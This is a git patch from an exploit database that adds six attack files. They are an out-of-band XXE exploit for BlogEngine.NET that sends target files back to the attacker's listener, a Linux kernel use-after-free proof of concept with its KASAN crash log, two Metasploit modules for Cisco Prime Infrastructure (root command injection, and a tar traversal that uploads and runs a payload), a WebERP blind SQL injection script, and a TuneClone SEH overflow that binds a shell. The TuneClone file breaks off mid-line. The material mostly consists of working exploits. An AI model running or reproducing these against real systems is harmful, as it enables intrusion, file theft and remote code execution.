From 3ef90f18d01e388b72bab0795130a6414f21a1d1 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 21 Jun 2019 05:01:58 +0000 Subject: [PATCH] DB: 2019-06-21 6 changes to exploits/shellcodes Linux - Use-After-Free via race Between modify_ldt() and #BR Exception Tuneclone 2.20 - Local SEH Buffer Overflow Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit) Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit) WebERP 4.15 - SQL injection BlogEngine.NET 3.3.6/3.3.7 - XML External Entity Injection --- exploits/aspx/webapps/47014.py | 190 +++++++++++++++++++++++++++ exploits/linux/dos/47015.c | 224 ++++++++++++++++++++++++++++++++ exploits/linux/local/47017.rb | 69 ++++++++++ exploits/linux/remote/47016.rb | 202 ++++++++++++++++++++++++++++ exploits/php/webapps/47013.py | 92 +++++++++++++ exploits/windows/local/47012.py | 65 +++++++++ files_exploits.csv | 6 + 7 files changed, 848 insertions(+) create mode 100755 exploits/aspx/webapps/47014.py create mode 100644 exploits/linux/dos/47015.c create mode 100755 exploits/linux/local/47017.rb create mode 100755 exploits/linux/remote/47016.rb create mode 100755 exploits/php/webapps/47013.py create mode 100755 exploits/windows/local/47012.py diff --git a/exploits/aspx/webapps/47014.py b/exploits/aspx/webapps/47014.py new file mode 100755 index 000000000..63ae17805 --- /dev/null +++ b/exploits/aspx/webapps/47014.py @@ -0,0 +1,190 @@ +# Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET +# Date: 19 June 2019 +# Exploit Author: Aaron Bishop +# Vendor Homepage: https://blogengine.io/ +# Version: v3.3.7 +# Tested on: 3.3.7, 3.3.6 +# CVE : 2019-10718 + +#1. Description +#============== + +#BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity +#Injection attack on **/pingback.axd**. + +#2. Proof of Concept +#============= + +#Host the following malicious DTD on a web server that is accessible to the +#target system: + +#~~~ +# +#"> %p2 +#~~~ + +#Submit a request to `pingback.axd` containing a malicious XML body: + +#~~~{command="REQUEST"} +#POST /pingback.axd HTTP/1.1 +#Host: $RHOST +#Accept-Encoding: gzip, deflate +#Connection: close +#User-Agent: python-requests/2.12.4 +#Accept: */* +#Content-Type: text/xml +#Content-Length: 131 + +# +# +#&e1; +#pingback.ping +#~~~ + +#The application will request the remote DTD and submit a subsequent request +#containing the contents of the file: + +#~~~ +#$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 - +#$RHOST - - [17/May/2019 12:03:32] "GET +#/X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 +#HTTP/1.1" 200 - +#~~~ + +#! /usr/bin/env python3 +import argparse +import http.server +import json +import multiprocessing +import os +import re +import requests +import sys +import time +import urllib + +""" +Exploit for CVE-2019-10718 + +CVE Identified by: Aaron Bishop +Exploit written by: Aaron Bishop + +Submit a XML to the target, get the contents of the file in a follow up request from the target + +python3 CVE-2019-10718.py --rhost http://$RHOST --lhost $LHOST --lport $LPORT --files C:/Windows/win.ini C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config C:/inetpub/wwwroot/iisstart.htm C:/Windows/iis.log C:/Users/Public/test.txt + +Requesting C:/Windows/win.ini ... +$RHOST - - [16/May/2019 17:07:25] "GET /ex.dtd HTTP/1.1" 200 - +$RHOST - - [16/May/2019 17:07:25] "GET /X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 200 - + +Requesting C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config ... +$RHOST - - [16/May/2019 17:07:26] "GET /ex.dtd HTTP/1.1" 200 - +Unable to read C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config + +Requesting C:/inetpub/wwwroot/iisstart.htm ... +$RHOST - - [16/May/2019 17:07:30] "GET /ex.dtd HTTP/1.1" 200 - +Unable to read C:/inetpub/wwwroot/iisstart.htm + +Requesting C:/Windows/iis.log ... +$RHOST - - [16/May/2019 17:07:34] "GET /ex.dtd HTTP/1.1" 200 - +Unable to read C:/Windows/iis.log + +Requesting C:/Users/Public/test.txt ... +$RHOST - - [16/May/2019 17:07:38] "GET /ex.dtd HTTP/1.1" 200 - +$RHOST - - [16/May/2019 17:07:38] "GET /X?This%20is%20a%20test HTTP/1.1" 200 - + +""" + +xml = """ + +&e1; +pingback.ping +""" + +dtd = """ +"> %p2; +""" + +proxies = { + "http": "127.0.0.1:8080", + "https": "127.0.0.1:8080" + } + +file_queue = multiprocessing.Queue() +response_queue = multiprocessing.Queue() +response_counter = multiprocessing.Value('i', 0) + +class S(http.server.SimpleHTTPRequestHandler): + server_version = 'A Patchey Webserver' + sys_version = '3.1415926535897932384626433832795028841971693993751058209749445923078' + error_message_format = 'Donde esta la biblioteca?' + + def _set_headers(self): + self.send_response(200) + self.send_header('Content-Type', 'application/xml') + self.end_headers() + + def do_GET(self): + if self.path.endswith(".dtd"): + self._set_headers() + self.wfile.write(dtd.format(fname=file_queue.get(), lhost=self.lhost, lport=self.lport).encode('utf-8')) + elif self.path.startswith("/X"): + self._set_headers() + response_counter.value += 1 + response_queue.put(self.path) + self.wfile.write('Thanks'.encode('utf-8')) + else: + self._set_headers() + self.wfile.write('?') + + +def start_server(lhost, lport, server): + httpd = http.server.HTTPServer((lhost, lport), server) + httpd.serve_forever() + +def main(rhost, lhost, lport, files, timeout, proxy, output_dir): + print(output_dir) + if not output_dir: + return + for f in files: + file_queue.put_nowait(f) + + server = S + server.lhost, server.lport = lhost, lport + p = multiprocessing.Process(target=start_server, args=(lhost,lport,server)) + p.start() + for num, f in enumerate(files): + print("\nRequesting {} ...".format(f)) + count = 0 + r = requests.post(rhost + "/pingback.axd", data=xml.format(lhost=lhost, lport=lport), proxies=proxies if proxy else {}, headers={"Content-Type": "text/xml"}) + response = True + while num == response_counter.value: + if count >= timeout: + response = False + response_counter.value += 1 + print("Unable to read {}".format(f)) + break + time.sleep(1) + count += 1 + if response: + os.makedirs(output_dir, exist_ok=True) + with open("{}/{}".format(output_dir, os.path.splitdrive(f)[1].replace(':','').replace('/','_')), 'w') as fh: + fh.write(urllib.parse.unquote(response_queue.get()).replace('/X?','')) + + p.terminate() + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Exploit CVE-2019-10718 OOB XXE') + parser.add_argument('-r', '--rhost', action="store", dest="rhost", required=True, help='Target host') + parser.add_argument('-l', '--lhost', action="store", dest="lhost", required=True, help='Local host') + parser.add_argument('-p', '--lport', action="store", dest="lport", type=int, required=True, help='Local port') + parser.add_argument('-f', '--files', nargs='+', default="C:/Windows/win.ini", help='Files to read on RHOST') + parser.add_argument('-t', '--timeout', type=int, default=3, help='How long to wait before moving on to next file') + parser.add_argument('-x', '--proxy', dest="proxy", action="store_true", default=False, help='Pass requests through a proxy') + parser.add_argument('-o', '--output', nargs='?', default="./CVE-2019-10718", help='Output directory. Default ./CVE-2019-10718') + args = parser.parse_args() + + if isinstance(args.files, str): + args.files = [args.files] + main(args.rhost, args.lhost, args.lport, args.files, args.timeout, args.proxy, args.output) \ No newline at end of file diff --git a/exploits/linux/dos/47015.c b/exploits/linux/dos/47015.c new file mode 100644 index 000000000..4ddb55d8d --- /dev/null +++ b/exploits/linux/dos/47015.c @@ -0,0 +1,224 @@ +/* +When a #BR exception is raised because of an MPX bounds violation, Linux parses +the faulting instruction and computes the linear address of its memory operand. +If the userspace instruction is in 32-bit code, this involves looking up the +correct segment descriptor and adding the segment offset to the address. + +(Another codepath that computes the linear address of an instruction is UMIP, +but I think that requires processors >= Cannon Lake, and my PC isn't that new.) + +get_desc() locks the mm context, computes the pointer to the LDT entry, but then +drops the lock again and returns the pointer. This means that when the caller +actually accesses the pointer, the pointer may have been freed already. + +This bug was introduced in + +("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15). + + +To make this easier to hit, I patched a sleep into my kernel: + + +================ +diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c +index cf00ab6c66210..5d9c59a28c76f 100644 +--- a/arch/x86/lib/insn-eval.c ++++ b/arch/x86/lib/insn-eval.c +@@ -7,6 +7,7 @@ + #include + #include + #include ++#include + #include + #include + #include +@@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx) + if (!desc) + return -1L; + ++ mdelay(1000); ++ + return get_desc_base(desc); + } +================ + +I also built the kernel with KASAN and full preemption. + + +Then I ran the following test program, compiled with +"gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread": + +=============== +*/ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +unsigned long blah; + +void post_bounds_label(void); + +static void do_ldt(void) { + struct user_desc desc = { + .entry_number = 0, + .base_addr = (unsigned long)&blah, + .limit = 0xffffffff, + .seg_32bit = 1, + .contents = 0, + .useable = 1 + }; + if (syscall(__NR_modify_ldt, 0x11, &desc, sizeof(desc))) + err(1, "modify_ldt"); +} + +void *ldt_thread(void *dummy) { + while (1) do_ldt(); +} + +jmp_buf jumpy; +void handle_segv(int sig, siginfo_t *info, void *uctx_) { + if (info->si_addr != &blah) { + printf("addr=%p\n", info->si_addr); + } + ucontext_t *uctx = uctx_; + uctx->uc_mcontext.gregs[REG_EIP] = (unsigned long)post_bounds_label; +} + +int main(void) { + do_ldt(); + pthread_t thread; + if (pthread_create(&thread, NULL, ldt_thread, NULL)) err(1, "pthread create"); + + struct sigaction act = { + .sa_sigaction = handle_segv, + .sa_flags = SA_NODEFER|SA_SIGINFO + }; + if (sigaction(SIGSEGV, &act, NULL)) err(1, "sigaction"); + + while (1) { + unsigned long mpx_bounds[2] = { 5, 6 }; + unsigned long old_bounds[2]; + asm volatile( + "bndmov %%bnd0, (%0)\n" + "bndmov (%2), %%bnd0\n" + "mov %1, %%fs\n" + "bndcl %%fs:(%3), %%bnd0\n" + "bndcn %%fs:(%3), %%bnd0\n" + "post_bounds_label:\n" + "bndmov (%0), %%bnd0\n" + : /*out*/ + : /*in*/ + "r"(old_bounds), + "r"(0x7), + "r"(mpx_bounds), + "r"(0x0UL) + ); + } +} +/* +jannh@laptop:~/mpx$ +=============== + +The program started printing various hex numbers, and I immediately got this +KASAN splat: + +=============== +[ 3129.003397] ================================================================== +[ 3129.003411] BUG: KASAN: use-after-free in insn_get_seg_base+0x9a/0x110 +[ 3129.003416] Read of size 2 at addr ffff8883775da002 by task mpx/13947 + +[ 3129.003425] CPU: 1 PID: 13947 Comm: mpx Not tainted 5.2.0-rc2+ #10 +[ 3129.003427] Hardware name: [...] +[ 3129.003429] Call Trace: +[ 3129.003436] dump_stack+0x71/0xab +[ 3129.003441] ? insn_get_seg_base+0x9a/0x110 +[ 3129.003446] print_address_description+0x6a/0x250 +[ 3129.003450] ? insn_get_seg_base+0x9a/0x110 +[ 3129.003454] ? insn_get_seg_base+0x9a/0x110 +[ 3129.003458] __kasan_report+0x14e/0x192 +[ 3129.003463] ? insn_get_seg_base+0x9a/0x110 +[ 3129.003467] kasan_report+0xe/0x20 +[ 3129.003471] insn_get_seg_base+0x9a/0x110 +[ 3129.003476] get_seg_base_limit+0x181/0x4a0 +[ 3129.003482] insn_get_addr_ref+0x18f/0x490 +[ 3129.003486] ? insn_get_opcode.part.4+0x16d/0x350 +[ 3129.003490] ? insn_get_modrm_rm_off+0x60/0x60 +[ 3129.003496] ? insn_get_modrm.part.5+0xce/0x220 +[ 3129.003501] ? insn_get_sib.part.6+0x60/0xc0 +[ 3129.003505] ? insn_get_displacement.part.7+0xe3/0x1d0 +[ 3129.003509] ? insn_get_immediate.part.8+0x52/0x710 +[ 3129.003514] ? preempt_count_sub+0x14/0xc0 +[ 3129.003517] ? preempt_count_sub+0x14/0xc0 +[ 3129.003523] mpx_fault_info+0x1bc/0x2d0 +[ 3129.003528] ? trace_event_raw_event_bounds_exception_mpx+0x170/0x170 +[ 3129.003535] ? notify_die+0x7d/0xc0 +[ 3129.003539] ? atomic_notifier_call_chain+0x40/0x40 +[ 3129.003543] ? __ia32_sys_rt_sigaction+0x1c0/0x1c0 +[ 3129.003547] ? preempt_count_sub+0x14/0xc0 +[ 3129.003550] ? preempt_count_sub+0x14/0xc0 +[ 3129.003556] do_bounds+0x24d/0x350 +[ 3129.003560] ? do_double_fault+0x160/0x160 +[ 3129.003565] ? fpregs_assert_state_consistent+0x54/0x70 +[ 3129.003570] ? bounds+0xa/0x20 +[ 3129.003574] bounds+0x14/0x20 +[ 3129.003578] RIP: 0023:0x565e98e7 +[ 3129.003583] Code: c7 85 64 ff ff ff 06 00 00 00 8d 85 58 ff ff ff b9 07 00 00 00 8d 95 60 ff ff ff bb 00 00 00 00 66 0f 1b 00 66 0f 1a 02 8e e1 <64> f3 0f 1a 03 64 f2 0f 1b 03 66 0f 1a 00 f2 e9 7c ff ff ff 55 89 +[ 3129.003585] RSP: 002b:00000000ffdca1f0 EFLAGS: 00010286 +[ 3129.003588] RAX: 00000000ffdca230 RBX: 0000000000000000 RCX: 0000000000000007 +[ 3129.003591] RDX: 00000000ffdca238 RSI: 0000000000000001 RDI: 00000000ffdca2cc +[ 3129.003593] RBP: 00000000ffdca2d8 R08: 0000000000000000 R09: 0000000000000000 +[ 3129.003595] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000000 +[ 3129.003597] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 + +[ 3129.003606] Allocated by task 13948: +[ 3129.003611] save_stack+0x19/0x80 +[ 3129.003615] __kasan_kmalloc.constprop.8+0xa0/0xd0 +[ 3129.003618] kmem_cache_alloc_trace+0xcc/0x5d0 +[ 3129.003622] alloc_ldt_struct+0x39/0xc0 +[ 3129.003625] write_ldt+0x236/0x5d0 +[ 3129.003628] __ia32_sys_modify_ldt+0x50/0xc0 +[ 3129.003632] do_fast_syscall_32+0x112/0x390 +[ 3129.003635] entry_SYSENTER_compat+0x7f/0x91 + +[ 3129.003639] Freed by task 13948: +[ 3129.003644] save_stack+0x19/0x80 +[ 3129.003647] __kasan_slab_free+0x105/0x150 +[ 3129.003650] kfree+0x82/0x120 +[ 3129.003653] write_ldt+0x519/0x5d0 +[ 3129.003656] __ia32_sys_modify_ldt+0x50/0xc0 +[ 3129.003659] do_fast_syscall_32+0x112/0x390 +[ 3129.003664] entry_SYSENTER_compat+0x7f/0x91 + +[ 3129.003669] The buggy address belongs to the object at ffff8883775da000 + which belongs to the cache kmalloc-32 of size 32 +[ 3129.003674] The buggy address is located 2 bytes inside of + 32-byte region [ffff8883775da000, ffff8883775da020) +[ 3129.003677] The buggy address belongs to the page: +[ 3129.003683] page:ffffea000ddd7680 refcount:1 mapcount:0 mapping:ffff8883d0c00180 index:0xffff8883775dafc1 +[ 3129.003686] flags: 0x17fffc000000200(slab) +[ 3129.003692] raw: 017fffc000000200 ffffea000f0692c8 ffffea000d4bb988 ffff8883d0c00180 +[ 3129.003696] raw: ffff8883775dafc1 ffff8883775da000 000000010000003f 0000000000000000 +[ 3129.003698] page dumped because: kasan: bad access detected + +[ 3129.003701] Memory state around the buggy address: +[ 3129.003706] ffff8883775d9f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 3129.003711] ffff8883775d9f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 3129.003715] >ffff8883775da000: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc +[ 3129.003718] ^ +[ 3129.003723] ffff8883775da080: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc +[ 3129.003727] ffff8883775da100: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc +[ 3129.003730] ================================================================== +[ 3129.003733] Disabling lock debugging due to kernel taint +=============== + +I'll send a suggested patch ("[PATCH] x86/insn-eval: Fix use-after-free access to LDT entry") in a minute. +*/ \ No newline at end of file diff --git a/exploits/linux/local/47017.rb b/exploits/linux/local/47017.rb new file mode 100755 index 000000000..a491d27f9 --- /dev/null +++ b/exploits/linux/local/47017.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( update_info( info, + 'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation', + 'Description' => %q{ + This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The + runrshell binary is meant to execute a shell script as root, but can be abused to inject + extra commands in the argument, allowing you to execute anything as root. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ', # First discovery + 'sinn3r' # Metasploit module + ], + 'Platform' => ['linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2018-12-08', + 'Privileged' => true, + 'References' => + [ + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'], + ], + 'Targets' => + [ + [ 'Cisco Prime Infrastructure 3.4.0', {} ] + ], + 'DefaultTarget' => 0 + )) + + register_advanced_options [ + OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp']) + ] + end + + def exec_as_root(cmd) + command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'" + vprint_status(cmd_exec(command_string)) + end + + def exploit + payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin" + exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name) + print_status("Uploading #{exe_path}") + write_file(exe_path, generate_payload_exe) + unless file?(exe_path) + print_error("Failed to upload #{exe_path}") + return + end + + register_file_for_cleanup(exe_path) + print_status('chmod the file with +x') + exec_as_root("/bin/chmod +x #{exe_path}") + print_status("Executing #{exe_path}") + exec_as_root(exe_path) + end +end \ No newline at end of file diff --git a/exploits/linux/remote/47016.rb b/exploits/linux/remote/47016.rb new file mode 100755 index 000000000..eff57afd1 --- /dev/null +++ b/exploits/linux/remote/47016.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that + the TarArchive Java class the HA Health Monitor component uses does not check for any + directory traversals while unpacking a Tar file, which can be abused by a remote user to + leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps + directory, and gain arbitrary remote code execution. Note that authentication is not + required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Steven Seeley', # Original discovery, PoC + 'sinn3r' # Metasploit module + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Cisco Prime Infrastructure 3.4.0.0', { } ] + ], + 'References' => + [ + ['CVE', '2019-1821'], + ['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'], + ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'], + ['URL', 'https://srcincite.io/advisories/src-2019-0034/'], + ['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt'] + ], + 'DefaultOptions' => + { + 'RPORT' => 8082, + 'SSL' => true, + + }, + 'Notes' => + { + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + }, + 'Privileged' => false, + 'DisclosureDate' => 'May 15 2019', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]), + OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/']) + ]) + end + + class CPITarArchive + attr_reader :data + attr_reader :jsp_name + attr_reader :tar_name + attr_reader :stager + attr_reader :length + + def initialize(name, stager) + @jsp_name = "#{name}.jsp" + @tar_name = "#{name}.tar" + @stager = stager + @data = make + @length = data.length + end + + def make + data = '' + path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}" + tar = StringIO.new + Rex::Tar::Writer.new(tar) do |t| + t.add_file(path, 0644) do |f| + f.write(stager) + end + end + tar.seek(0) + data = tar.read + tar.close + data + end + end + + def check + res = send_request_cgi({ + 'rport' => datastore['WEBPORT'], + 'SSL' => true, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp') + }) + + unless res + vprint_error('No response from the server') + return CheckCode::Unknown + end + + if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime' + return CheckCode::Detected + end + + CheckCode::Safe + end + + def get_jsp_stager(out_file, bin_data) + # For some reason, some of the bytes tend to get lost at the end. + # Not really sure why, but some extra bytes are added to ensure the integrity + # of the code. This file will get deleted during cleanup anyway. + %Q|<%@ page import="java.io.*" %> + <% + String data = "#{Rex::Text.to_hex(bin_data, '')}"; + FileOutputStream outputstream = new FileOutputStream("#{out_file}"); + int numbytes = data.length(); + byte[] bytes = new byte[numbytes/2]; + for (int counter = 0; counter < numbytes; counter += 2) + { + char char1 = (char) data.charAt(counter); + char char2 = (char) data.charAt(counter + 1); + int comb = Character.digit(char1, 16) & 0xff; + comb <<= 4; + comb += Character.digit(char2, 16) & 0xff; + bytes[counter/2] = (byte)comb; + } + outputstream.write(bytes); + outputstream.close(); + try { + Runtime.getRuntime().exec("chmod +x #{out_file}"); + Runtime.getRuntime().exec("#{out_file}"); + } catch (IOException exp) {} + %>#{Rex::Text.rand_text_alpha(30)}| + end + + def make_tar + elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin" + register_file_for_cleanup(elf_name) + elf = generate_payload_exe(code: payload.encoded) + jsp_stager = get_jsp_stager(elf_name, elf) + tar_name = Rex::Text.rand_text_alpha(10) + register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp") + CPITarArchive.new(tar_name, jsp_stager) + end + + def execute_payload(tar) + # Once executed, we are at: + # /opt/CSCOlumos + send_request_cgi({ + 'rport' => datastore['WEBPORT'], + 'SSL' => true, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, tar.jsp_name) + }) + end + + def upload_tar(tar) + post_data = Rex::MIME::Message.new + post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") + + # The file gets uploaded to this path on the server: + # /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => + { + 'Destination-Dir' => 'tftpRoot', + 'Compressed-Archive' => 'false', + 'Primary-IP' => '127.0.0.1', + 'Filecount' => '1', + 'Filename' => tar.tar_name, + 'FileSize' => tar.length + } + }) + + (res && res.code == 200) + end + + def exploit + tar = make_tar + print_status("Uploading tar file (#{tar.length} bytes)") + if upload_tar(tar) + print_status('Executing JSP stager...') + execute_payload(tar) + else + print_status("Failed to upload #{tar.tar_name}") + end + end +end \ No newline at end of file diff --git a/exploits/php/webapps/47013.py b/exploits/php/webapps/47013.py new file mode 100755 index 000000000..3d3638d0c --- /dev/null +++ b/exploits/php/webapps/47013.py @@ -0,0 +1,92 @@ +# Exploit Title: Blind SQL injection in WebERP. +# Date: June 10, 2019 +# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/) +# Vendor Homepage: http://www.weberp.org/ +# Version: 4.15 + +# A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then. +# After it, each element of the array is passed directly to the SQL query. + +import requests +import base64 +import os +import subprocess +from bs4 import BeautifulSoup +import re +import time +import sys + +def generatePayload(PaidAmount="0",PaymentId="0"): + #THIS FUNCTION IS INSECURE BY DESIGN + ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount) + return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read() + +def getCookies(ip, CompanyNameField, usr, pwd): + r = requests.get("http://" + ip + "/index.php") + s = BeautifulSoup(r.text, 'lxml') + m = re.search("FormID.*>", r.text) + FormID = m.group(0).split("\"")[2] + + data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"} + r = requests.post("http://" + ip + "/index.php", data) + + return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]} + + +def addSupplierID(name, cookies, proxies): + r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies) + s = BeautifulSoup(r.text, 'lxml') + m = re.search("FormID.*>", r.text) + FormID = m.group(0).split("\"")[2] + + data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0", + "PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"} + + requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies) + + +def runExploit(cookies, supplier_id, payload, proxies): + r = requests.get("http://" + ip + "/Payments.php", cookies=cookies) + s = BeautifulSoup(r.text, 'lxml') + m = re.search("FormID.*>", r.text) + FormID = m.group(0).split("\"")[2] + + data = {"FormID":FormID, + "CommitBatch":"2", + "BankAccount":"1", + "DatePaid":"01/06/2019", + "PaidArray":payload} + + requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies) + + +if __name__ == "__main__": + #proxies = {'http':'127.0.0.1:8080'} + proxies = {} + + if len(sys.argv) != 6: + print '(+) usage: %s ' % sys.argv[0] + print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0] + print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1' + exit() + + ip = sys.argv[1] + "/" + sys.argv[2] + + #if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30= + #payload = generatePayload("0 where sleep(1)=1;-- -", "0") + + payload = generatePayload("0", "' or sleep(5) and '1'='1") + + #get cookies + cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4]) + + addSupplierID("GARUMPAGE", cookies, proxies) + + t1 = time.time() + runExploit(cookies, "GARUMPAGE", payload, proxies) + t2 = time.time() + + if (t2-t1>4): + print "Blind sqli is confirmed" + else: + print "Verify input data and try again" \ No newline at end of file diff --git a/exploits/windows/local/47012.py b/exploits/windows/local/47012.py new file mode 100755 index 000000000..64971e626 --- /dev/null +++ b/exploits/windows/local/47012.py @@ -0,0 +1,65 @@ +# Exploit Title: TuneClone Local Seh Exploit +# Date: 19.06.2019 +# Vendor Homepage: http://www.tuneclone.com/ +# Software Link: http://www.tuneclone.com/tuneclone_setup.exe +# Exploit Author: Achilles +# Tested Version: 2.20 +# Tested on: Windows XP SP3 EN + +# 1.- Run python code : TuneClone.py +# 2.- Open EVIL.txt and copy content to Clipboard +# 3.- Open TuneClone and press Help and 'Enter License Code' +# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field' +# 5.- Click 'OK' and you will have a bind shell port 3110. +# 6.- Greetings go:XiDreamzzXi,Metatron + +#!/usr/bin/env python + +import struct + +buffer = "\x41" * 1056 +nseh = "\xeb\x06\x90\x90" #jmp short 6 +seh = struct.pack('